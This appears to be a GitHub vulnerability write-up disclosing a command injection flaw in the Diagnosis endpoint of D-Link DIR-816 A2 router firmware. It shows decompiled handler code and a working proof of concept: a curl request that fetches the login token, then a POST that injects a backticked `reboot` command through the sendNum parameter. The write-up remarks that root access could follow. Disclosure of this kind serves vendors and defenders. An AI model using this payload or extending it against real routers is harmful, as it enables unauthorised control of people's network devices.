

main ▾

...

IOT_Vul / dlink / Dir816 / Diagnosis / readme.md



z1r00 Update readme.md

History

1 contributor

34 lines (20 sloc) | 1.02 KB

...

D-link DIR-816 A2_v1.10CNB04.img Command injection vulnerability

Firmware information

- Manufacturer's address: <https://www.dlink.com/>
- Firmware download address : <http://tsd.dlink.com.tw/GPL.asp>

Affected version



dio/Video
me Plug
rnet Camera
naged Switch
dio/Video>Accessories
dio/Video>D-Life
dio/Video>KVM

DIR-816

Type	Firmware
Description	Firmware: DIR-816_A2_FW_v1.10 (for DCN)
Download	DIR-816_A2_FW_1.10CNB04_Release note.pdf DIR-816 A2_v1.10CNB04.img
Last modified	2017/03/23

The picture above shows the latest firmware for this version

Vulnerability details

```

20: overTime = websGetVar(a1, "overTime", "10");
21: trHops = websGetVar(a1, "trHops", &word_4769AC);
22: (websWrite)(a1, "HTTP/1.1 200 OK\nContent-type: text/plain\nPragma: no-cache\nCache-Control: no-cache\n\n");
23: if ( !strcmp(pingAddr, "0.0.0.0") )
24:     goto LABEL_4;
25: v7 = *doType;
26: if ( v7 == '0' )
27: {
28:     if ( !pSize )
29:         return websDone(a1, 200);
30:     v9 = atoi(pSize);
31:     if ( v9 <= 0 )
32:         return websDone(a1, 200);
33:     snprintf(v10, 1023, "ping -c %s -s %d -W %s %s > %s 2>&1", sendNum, v9, overTime, pingAddr, "/tmp/diagnosis");
34: }
35: else
36: {
37:     if ( v7 != 49 )
38:     {
39: LABEL_4:
40:         puts("Error: Parameter is invalid");
41:         return websDone(a1, -200);
42:     }
43:     snprintf(v10, 1023, "traceroute -m %s %s > %s 2>&1", trHops, pingAddr, "/tmp/diagnosis");
44: }
45: sub_45A954();
46: snprintf(v11, 1023, "> %s", "/tmp/diagnosis");
47: system(v11);
48: doSystembk("%s; sleep 1; rm -f %s", v10, "/tmp/diagnosis");
49: return websDone(a1, 200);

```

Vulnerability occurs in /goform/Diagnosis, After the if condition is met, setnum will be spliced into v10 by snprintf, and finally system will be executed, resulting in a command injection vulnerability

Poc

The first thing you need to do is to get the tokenid

```
curl http://192.168.0.1/dir_login.asp | grep tokenid
```

Then run the following poc

```
curl -i -X POST http://192.168.0.1/goform/Diagnosis -d tokenId=xxxx -d  
'pingAddr=192.168.0.1' -d 'sendNum=`reboot`'
```

Then you can see that the router restarts, and finally we can write an exp to get root